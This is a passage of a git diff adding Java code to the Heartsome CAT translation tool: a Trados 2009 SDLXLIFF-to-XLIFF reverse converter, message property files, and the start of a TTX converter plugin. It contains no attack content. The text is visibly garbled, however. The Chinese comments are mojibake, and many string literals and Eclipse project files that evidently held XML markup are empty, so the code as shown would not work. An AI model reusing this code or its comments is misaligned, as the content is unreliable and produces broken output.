e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + monitor.done(); + } + return result; + } + + /** + * 解æžç»“果文件(解æžæ—¶è¿™ä¸ªç»“果文件还是一个骨架文件) + * @param file + * @throws Exception + */ + private void parseOutputFile(String file, String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(file, true)) { + outputVN = vg.getNav(); + outputXM = new XMLModifier(outputVN); + outputAP = new AutoPilot(outputVN); + outputAP.declareXPathNameSpace("sdl", "http://sdl.com/FileTypes/SdlXliff/1.0"); + }else { + String errorInfo = MessageFormat.format(Messages.getString("sdl.parse.msg2"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 解æžè¦è¢«é€†è½¬æ¢çš„xliff文件 + * @param xliffFile + * @throws Exception + */ + private void parseXlfFile(String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffFile, true)) { + xlfVN = vg.getNav(); + }else { + String errorInfo = MessageFormat.format(Messages.getString("sdl.parse.msg1"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 分æžxliff文件的æ¯ä¸€ä¸ª trans-unit 节点 + * @throws Exception + */ + private void ananysisXlfTU() throws Exception { + AutoPilot ap = new AutoPilot(xlfVN); + AutoPilot childAP = new AutoPilot(xlfVN); + VTDUtils vu = new VTDUtils(xlfVN); + String xpath = "/xliff/file/body//trans-unit"; + String srcXpath = "./source"; + String tgtXpath = "./target"; + ap.selectXPath(xpath); + int attrIdx = -1; + //trans-unitçš„id,对应sdl文件的å ä½ç¬¦å¦‚%%%1%%% 。 + String segId = ""; + TuMrkBean srcBean = null; + TuMrkBean tgtBean = null; + while (ap.evalXPath() != -1) { + if ((attrIdx = xlfVN.getAttrVal("id")) == -1) { + continue; + } + srcBean = new TuMrkBean(); + tgtBean = new TuMrkBean(); + segId = xlfVN.toString(attrIdx); + + + //处ç†source节点 + xlfVN.push(); + childAP.selectXPath(srcXpath); + if (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + srcContent = srcContent == null ? "" : srcContent; + srcBean.setContent(srcContent); + srcBean.setSource(true); + } + xlfVN.pop(); + + //处ç†target节点 + String status = ""; //状æ€ï¼Œé’ˆå¯¹target节点,空字符串为未翻译 + xlfVN.push(); + tgtBean.setSource(false); + String tgtContent = null; + childAP.selectXPath(tgtXpath); + if (childAP.evalXPath() != -1) { + tgtContent = vu.getElementContent(); + + if ((attrIdx = xlfVN.getAttrVal("state")) != -1) { + status = xlfVN.toString(attrIdx); + } + } + tgtContent = tgtContent == null ? "" : tgtContent; + tgtBean.setContent(tgtContent); + xlfVN.pop(); + + //处ç†æ‰¹æ³¨ + getNotes(xlfVN, tgtBean); + + //判断是å¦å¤„于é”å®šçŠ¶æ€ + if ((attrIdx = xlfVN.getAttrVal("translate")) != -1) { + if ("no".equalsIgnoreCase(xlfVN.toString(attrIdx))) { + tgtBean.setLocked(true); + } + } + //判断是å¦å¤„于批准状æ€ï¼Œè‹¥æ˜¯ç­¾å‘,就没有必è¦åˆ¤æ–­äº†ï¼Œå› ä¸ºç­¾å‘了的一定就批准了的 + if (!"signed-off".equalsIgnoreCase(status)) { + if ((attrIdx = xlfVN.getAttrVal("approved")) != -1) { + if ("yes".equalsIgnoreCase(xlfVN.toString(attrIdx))) { + status = "approved"; //批准 + } + } + } + tgtBean.setStatus(status); + replaceSegment(segId, srcBean, tgtBean); + } + } + + /** + * èŽ·å– R8 xliffæ–‡ä»¶çš„æ‰€æœ‰æ‰¹æ³¨ä¿¡æ¯ + * @param vn + * @param tgtbeBean + */ + private void getNotes(VTDNav vn, TuMrkBean tgtbeBean) throws Exception { + vn.push(); + List segCommentList = new LinkedList(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./note"; + ap.selectXPath(xpath); + int atttIdx = -1; + CommentBean bean; + while(ap.evalXPath() != -1){ + boolean isCurrent = true; + if ((atttIdx = vn.getAttrVal("hs:apply-current")) != -1) { + if ("no".equalsIgnoreCase(vn.toString(atttIdx))) { + isCurrent = false; + } + } + String user = ""; + String date = ""; + String commentText = ""; + //R8 xliff 文件中没有æ示级别一属性,故此处皆为供å‚考 + String severity = "Low"; + if ((atttIdx = vn.getAttrVal("from")) != -1) { + user = vn.toString(atttIdx); + } + + if (vn.getText() != -1) { + String r8NoteText = vn.toString(vn.getText()); + if (r8NoteText.indexOf(":") != -1) { + date = r8NoteText.substring(0, r8NoteText.indexOf(":")); + commentText = r8NoteText.substring(r8NoteText.indexOf(":") + 1, r8NoteText.length()); + }else { + commentText = r8NoteText; + } + } + bean = new CommentBean(user, date, severity, commentText, true); + + if (isCurrent) { + segCommentList.add(new CommentBean(user, date, severity, commentText, true)); + }else { + if (!fileCommentsList.contains(bean)) { + fileCommentsList.add(bean); + } + } + } + tgtbeBean.setCommentList(segCommentList); + vn.pop(); + } + + /** + * 替æ¢æŽ‰éª¨æž¶æ–‡ä»¶ä¸­çš„å ä½ç¬¦ + * @param segId + * @param srcBean + * @param tgtbeBean + */ + private void replaceSegment(String segId, TuMrkBean srcBean, TuMrkBean tgtbeBean) throws Exception { + String segStr = "%%%" + segId + "%%%"; + String srcXpath = "/xliff/file/body//trans-unit/seg-source//mrk[text()='" + segStr + "']"; + //先处ç†æºæ–‡ + outputAP.selectXPath(srcXpath); + if (outputAP.evalXPath() != -1) { + int textIdx = outputVN.getText(); + outputXM.updateToken(textIdx, srcBean.getContent().getBytes("utf-8")); + } + //处ç†è¯‘æ–‡ + String tgtXpath = "/xliff/file/body//trans-unit/target//mrk[text()='" + segStr + "']"; + outputAP.selectXPath(tgtXpath); + if (outputAP.evalXPath() != -1) { + String content = tgtbeBean.getContent(); + if (tgtbeBean.getCommentList().size() > 0) { + String uuId = createUUId(); + commentMap.put(uuId, tgtbeBean.getCommentList()); + content = "" + tgtbeBean.getContent() + ""; + } + int textIdx = outputVN.getText(); + outputXM.updateToken(textIdx, content.getBytes("utf-8")); + + //开始处ç†çŠ¶æ€ + int attrIdx = -1; + if ((attrIdx = outputVN.getAttrVal("mid"))!= -1) { + boolean needLocked = false; + String mid = outputVN.toString(attrIdx); + //下é¢æ ¹æ®mid找到对应的sdl:seg节点,这个节点里é¢å­˜æ”¾çš„有æ¯ä¸ªæ–‡æœ¬æ®µçš„çŠ¶æ€ + String xpath = "ancestor::trans-unit/sdl:seg-defs/sdl:seg[@id='" + mid + "']"; + outputAP.selectXPath(xpath); + if (outputAP.evalXPath() != -1) { + //先判断是å¦é”定 + if (tgtbeBean.isLocked()) { + if ((attrIdx = outputVN.getAttrVal("locked")) != -1) { + if (!"true".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "true"); + } + }else { + needLocked = true; + } + }else { + if ((attrIdx = outputVN.getAttrVal("locked")) != -1) { + if ("true".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "false"); + } + } + } + + //下é¢æ ¹æ®R8的状æ€ã€‚修改sdl的状æ€ã€‚ + String conf = ""; + String status = tgtbeBean.getStatus(); + if ("new".equals(status)) { + conf = "Draft"; + }else if ("translated".equals(status)) { + conf = "Translated"; + }else if ("approved".equals(status)) { + conf = "ApprovedTranslation"; + }else if ("signed-off".equals(status)) { + conf = "ApprovedSignOff"; + } + + if ("".equals(conf)) { + if ((attrIdx = outputVN.getAttrVal("conf")) != -1) { + outputXM.updateToken(attrIdx, ""); + } + }else { + if ((attrIdx = outputVN.getAttrVal("conf")) != -1) { + if (!conf.equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, conf); + } + }else { + String attributeStr = ""; + if (needLocked) { + attributeStr = " locked=\"true\" "; + } + attributeStr += " conf=\"" + conf + "\" "; + outputXM.insertAttribute(attributeStr.getBytes("utf-8")); + needLocked = false; + } + } + + if (needLocked) { + outputXM.insertAttribute(" locked=\"true\" ".getBytes("utf-8")); + } + } + + } + } + } + + /** + * 创建所有批注节点 + * @throws Exception + */ + private void createComments() throws Exception { + String xpath = ""; + //先生æˆå…¨å±€æ‰¹æ³¨çš„定义节点 + if (fileCommentsList.size() > 0) { + String fileCommentId = createUUId(); + String fileCommentStr = ""; + xpath = "/xliff/file/header"; + outputAP.selectXPath(xpath); + while(outputAP.evalXPath() != -1){ + outputXM.insertBeforeTail(fileCommentStr.getBytes("utf-8")); + commentMap.put(fileCommentId, fileCommentsList); + } + } + + //开始生æˆComments节点 + if (commentMap.size() == 0) { + return; + } + xpath = "/xliff/doc-info"; + outputAP.selectXPath(xpath); + if (outputAP.evalXPath() != -1) { + StringBuffer commentSB = new StringBuffer(); + commentSB.append(""); + for (Entry> entry : commentMap.entrySet()) { + String id = entry.getKey(); + commentSB.append(""); + commentSB.append(""); + for(CommentBean bean : entry.getValue()){ + commentSB.append("" + + bean.getCommentText() + ""); + } + commentSB.append(""); + commentSB.append(""); + } + commentSB.append(""); + + outputXM.insertBeforeTail(commentSB.toString().getBytes("utf-8")); + } + + } + + /** + * 生æˆtradosçš„id + * @return + */ + private String createUUId(){ + UUID uuId = UUID.randomUUID(); + return uuId.toString(); + } + + } +//----------------------------------------------------Xliff2SdlImpl 结æŸæ ‡å¿—--------------------------------------------// + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + public static void main(String[] args) { + + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/Messages.java new file mode 100644 index 0000000..d748465 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.trados2009.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.trados2009.resource.sdl"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl.properties b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl.properties new file mode 100644 index 0000000..9f13ebc --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.SDL = SDL Trados XLIFF \u6587\u4ef6 (SDLXLIFF) + +sdl.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +sdl.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u9006\u8f6c\u6362\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + + +sdl.task1 = \u6b63\u5728\u8f6c\u6362... +sdl.task2 = \u6b63\u5728\u9006\u8f6c\u6362... + +sdl2Xlf.msg1 = Trados 2009 \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +xlf2Sdl.msg1 = XLIFF \u8f6c\u6362\u6210 Trados 2009 \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl_en.properties b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl_en.properties new file mode 100644 index 0000000..954d721 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl_en.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.SDL = SDL Trados XLIFF file (SDLXLIFF) + +sdl.parse.msg1 = Failed to parsing the file {0}. Please try again. +sdl.parse.msg2 = Conversion to original format failed because the file {0} is not readable. + + +sdl.task1 = Converting... +sdl.task2 = Converting to the original format... + +sdl2Xlf.msg1 = Failed to convert Trados 2009 bilingual files to XLIFF. + +xlf2Sdl.msg1 = Failed to convert XLIFF to Trados 2009 bilingual files! diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl_zh.properties b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl_zh.properties new file mode 100644 index 0000000..9f13ebc --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/resource/sdl_zh.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.SDL = SDL Trados XLIFF \u6587\u4ef6 (SDLXLIFF) + +sdl.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +sdl.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u9006\u8f6c\u6362\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + + +sdl.task1 = \u6b63\u5728\u8f6c\u6362... +sdl.task2 = \u6b63\u5728\u9006\u8f6c\u6362... + +sdl2Xlf.msg1 = Trados 2009 \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +xlf2Sdl.msg1 = XLIFF \u8f6c\u6362\u6210 Trados 2009 \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.ttx/.classpath b/hsconverter/net.heartsome.cat.converter.ttx/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ttx/.project b/hsconverter/net.heartsome.cat.converter.ttx/.project new file mode 100644 index 0000000..b8b57d5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.ttx + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.ttx/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.ttx/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..6054674 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:19:39 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.ttx/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.ttx/META-INF/MANIFEST.MF new file mode 100644 index 0000000..49e8a6f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter TTX +Bundle-SymbolicName: net.heartsome.cat.converter.ttx +Bundle-Version: 8.0.2.R8b_v20130418 +Bundle-Activator: net.heartsome.cat.converter.ttx.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.ttx/build.properties b/hsconverter/net.heartsome.cat.converter.ttx/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Activator.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Activator.java new file mode 100644 index 0000000..d12a055 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Activator.java @@ -0,0 +1,99 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ttx; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.ttx"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The ttx2 xliff sr. */ + private ServiceRegistration ttx2XliffSR; + + /** The xliff2 ttx sr. */ + private ServiceRegistration xliff2TtxSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the convert service + Converter ttx2Xliff = new Ttx2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Ttx2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Ttx2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Ttx2Xliff.TYPE_NAME_VALUE); + ttx2XliffSR = ConverterRegister.registerPositiveConverter(context, ttx2Xliff, properties); + + Converter xliff2Ttx = new Xliff2Ttx(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Ttx.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Ttx.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Ttx.TYPE_NAME_VALUE); + xliff2TtxSR = ConverterRegister.registerReverseConverter(context, xliff2Ttx, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (ttx2XliffSR != null) { + ttx2XliffSR.unregister(); + ttx2XliffSR = null; + } + if (xliff2TtxSR != null) { + xliff2TtxSR.unregister(); + xliff2TtxSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/ArrangeTTX.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/ArrangeTTX.java new file mode 100644 index 0000000..0520b86 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/ArrangeTTX.java @@ -0,0 +1,296 @@ +package net.heartsome.cat.converter.ttx; + + +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map.Entry; +import java.util.TreeMap; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * 整体ttx文件,主è¦å†…容就是将一个未翻译的ttx文件进行相关的处ç†ï¼Œåˆ†æ®µï¼Œæ·»åŠ tu节点,这样方便进行转æ¢ã€‚ + * @author robert 2012-07-16 + */ +public class ArrangeTTX { + private StringSegmenter segmenter; + private VTDNav sklVN; + private XMLModifier sklXM; + /** 当å‰è¦å¤„ç†çš„ ttx 文件自带的æºè¯­è¨€ */ + private String detectedSourceLang; + /** 当å‰è¦å¤„ç†çš„ ttx 文件自带的目标语言 */ + private String detectedTargetLang; + private VTDUtils vu; + /** 对 Raw 节点下的文本节点å•ç‹¬å–出åŽå­˜æ”¾, key值为token */ + private List rawTextTokenList; + /** å•å…ƒçš„起始符,å•å…ƒä¸º ut 节点 DisplayText="paragraph" 或者 DisplayText="^" 的区间,å•å…ƒçš„结æŸæ ‡å¿—为 或é‡åˆ° 节点 */ + private boolean start = false; + private boolean end = false; + /** 针对æ¯ä¸ªæ–‡æœ¬æ®µï¼Œæ˜¯å¦éœ€è¦åŠ å…¥segBeanMap中 */ + private boolean needAdd = false; + + public ArrangeTTX() { } + + // UNDO 这里处ç†çš„ paragraph 还有问题,而且问题还æ’严é‡ã€‚ + public ArrangeTTX(VTDNav sklVN, XMLModifier sklXM, String elementSegmentation, String initSegmenter, + String userSourceLang, String catalogue, String detectedSourceLang, String detectedTargetLang) throws Exception { + + boolean segByElement = false; + if (Converter.TRUE.equals(elementSegmentation)) { + segByElement = true; + } else { + segByElement = false; + } + + if (!segByElement) { + segmenter = new StringSegmenter(initSegmenter, userSourceLang, catalogue); + } + + this.sklVN = sklVN; + this.sklXM = sklXM; + this.detectedSourceLang = detectedSourceLang; + this.detectedTargetLang = detectedTargetLang; + System.out.println("detectedTargetLang = " + detectedTargetLang); + vu = new VTDUtils(sklVN); + rawTextTokenList = new LinkedList(); + } + + /** + * 生æˆtu节点 + */ + public void createTuNode(String skeletonFile) throws Exception{ + //循环æ¯ä¸€ä¸ªæ–‡æœ¬å­èŠ‚点进行,先对它进行分段,å†å¯¹åˆ†æ®µåŽçš„进行包裹 Tu 节点 + // 首先分段,读å–æ¯ä¸€ä¸ªå•å…ƒï¼Œåœ¨è¿™ä¸ªå•å…ƒå†…进行分段æ“作。这个å•å…ƒå°±æ˜¯ ut 节点 DisplayText="paragraph" 或者 DisplayText="^" 的区间 + getRawTextToken(); + String xpath = "/TRADOStag/Body/Raw/node()"; + AutoPilot ap = new AutoPilot(sklVN); + ap.selectXPath(xpath); + TreeMap segBeanMap = new TreeMap(); + SegmentBean segBean; + int index = -1; + while(ap.evalXPath() != -1){ + String nodeName = vu.getCurrentElementName(); + segBean = new SegmentBean(); + + // 首先处ç†raw节点的直接å­èŠ‚点 + index = sklVN.getCurrentIndex() - 1; + if (rawTextTokenList.contains(index)) { + if (start && !end) { //处在开始标签与结æŸæ ‡ç­¾ä¹‹å‰çš„节点æ‰è¿›è¡Œå¤„ç† + segBean.setHasTag(false); + segBean.setParentNodeFrag(sklVN.toRawString(index)); + segBean.setSegment(sklVN.toRawString(index)); + segBeanMap.put(index, segBean); + //删除这个 raw 节点的文本å­èŠ‚点 + sklXM.updateToken(index, ""); + segBean = new SegmentBean(); + } + } + + // DOLATER 这个地方还没有验è¯ä¸€ä¸ªæ–‡ä»¶ä¸­é—´åœ°æ–¹å‡ºçŽ°ä¸€ä¸ª Tu 节点的情况。 + //处ç†å­èŠ‚点 + if ("df".equals(nodeName)) { + analysisDF(sklVN, segBean); + if (!end && needAdd) { //如果未结æŸï¼Œå¹¶ä¸”å¯ä»¥æ·»åŠ è¿›segBeanMap,就添加 + segBean.setParentNodeFrag(vu.getElementFragment()); + segBeanMap.put(sklVN.getCurrentIndex(), segBean); + //删除这个节点 + sklXM.remove(); + } + + }else if ("ut".equals(nodeName)) { + analysisUT(sklVN, segBean); + if (!end && needAdd) { //如果未结æŸï¼Œå¹¶ä¸”å¯ä»¥æ·»åŠ è¿›segBeanMap,就添加 + segBean.setParentNodeFrag(vu.getElementFragment()); + segBeanMap.put(sklVN.getCurrentIndex(), segBean); + //删除这个节点 + sklXM.remove(); + } + }else if ("Tu".equals(nodeName)) { + end = true; + } + + // 处于å•å…ƒå†…éƒ¨ï¼Œè¿›è¡Œç›¸å…³å¤„ç† + if (end) { + splitSegment(sklVN, segBeanMap); + } + } + sklXM.output(skeletonFile); + } + + /** + * 处ç†ä¸€ä¸ªå•å…ƒæ ¼åŒºé—´çš„æ¯ä¸€ä¸ªèŠ‚点, + * @return true:调用此方法的程åºç»§ç»­æ‰§è¡Œï¼Œ false:调用此方法的程åºç»ˆæ­¢æ‰§è¡Œæˆ–跳出当å‰å¾ªçŽ¯ + */ + private void analysisDF(VTDNav vn, SegmentBean segBean) throws Exception{ + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./node()|text()"; + ap.selectXPath(xpath); + int index = -1; + while(ap.evalXPath() != -1){ + int tokenType = vn.getTokenType(vn.getCurrentIndex()); + if (tokenType == 0) { //等于0表示为节点 + String nodeName = vu.getCurrentElementName(); + if ("ut".equals(nodeName)) { + String typeAtt = ""; + if ((index = vn.getAttrVal("Type")) != -1) { + typeAtt = vn.toRawString(index); + } + String displayTextAtt = ""; + if ((index = vn.getAttrVal("DisplayText")) != -1) { + displayTextAtt = vn.toRawString(index); + } + //判断开始与结æŸç‚¹ + if ("start".equals(typeAtt) && !"cf".equals(displayTextAtt)) { + start = true; //一个å•å…ƒçš„开始 + end = false; + }else if ("end".equals(typeAtt) && !"cf".equals(displayTextAtt)) { + start = false; + end = true; // 一个å•å…ƒçš„ç»“æŸ + } + segBean.setTagStr(vu.getElementFragment()); + needAdd = true; + }else if ("Tu".equals(nodeName)) { //é‡åˆ° Tu 节点,å•å…ƒç»“æŸï¼Œend = true,但是 startä»ä¿æŒä¹‹å‰çŠ¶æ€ + needAdd = false; + end = true; + } + segBean.setHasTag(true); //有标记存在 + }else if (tokenType == 5) { //等于5表示为文本å­èŠ‚点 + segBean.setSegment(vn.toRawString(vn.getCurrentIndex())); + System.out.println(vn.toRawString(vn.getCurrentIndex())); + needAdd = true; + } + } + vn.pop(); + } + + /** + * åˆ†æž ut 节点,这个节点里é¢ä¿å­˜çš„一般都是 cf 标记或者å•å…ƒå†…容 + * @throws Exception + */ + private void analysisUT(VTDNav vn, SegmentBean segBean) throws Exception{ + vn.push(); + int index = -1; + String typeAtt = ""; + if ((index = vn.getAttrVal("Type")) != -1) { + typeAtt = vn.toRawString(index); + } + String displayTextAtt = ""; + if ((index = vn.getAttrVal("DisplayText")) != -1) { + displayTextAtt = vn.toRawString(index); + } + //判断开始与结æŸç‚¹ + if ("start".equals(typeAtt) && !"cf".equals(displayTextAtt)) { + start = true; //一个å•å…ƒçš„开始 + end = false; + }else if ("end".equals(typeAtt) && !"cf".equals(displayTextAtt)) { + start = false; + end = true; // 一个å•å…ƒçš„ç»“æŸ + } + segBean.setTagStr(vu.getElementFragment()); + segBean.setHasTag(true); + needAdd = true; + vn.pop(); + } + + /** + * 开始拆分文本段,从而进行组装 + * @param vn + * @param segBeanMap + */ + private void splitSegment(VTDNav vn, TreeMap segBeanMap) throws Exception{ + StringBuffer segSB = new StringBuffer(); + for(Entry entry : segBeanMap.entrySet()){ + if (entry.getValue().getSegment() != null) { + segSB.append(entry.getValue().getSegment()); + } + } + System.out.println("未拆分å‰çš„åå­=" + segSB.toString()); + // 开始进行拆分 + String[] segArray = segmenter.segment(segSB.toString()); + System.out.println("拆分åŽçš„å¥å­="); + for(String str : segArray){ + System.out.println(str); + } + + List segList = new LinkedList(); + for (String str : segArray) { + if (str.trim().length() > 0) { + segList.add(str); + } + } + + //拆分之åŽï¼Œå°±æŸ¥çœ‹æ‹†åˆ†åŽçš„æ¯ä¸ªå°æ–‡æœ¬æ®µæ˜¯å¦åœ¨ä¸€ä¸ª df 节点或是一个å•ç‹¬çš„ raw 文本å­èŠ‚点, + //如果是,直接在里é¢è¿›è¡Œç”Ÿæˆtu,如果ä¸æ˜¯ï¼Œç›´æŽ¥ç”Ÿæˆä¸€ä¸ªtu。把这几个å°æ–‡æœ¬æ®µçš„父节点一下包括进æ¥ã€‚ + StringBuffer addSB = new StringBuffer(); + StringBuffer tuSB; + for (Iterator> it = segBeanMap.entrySet().iterator(); 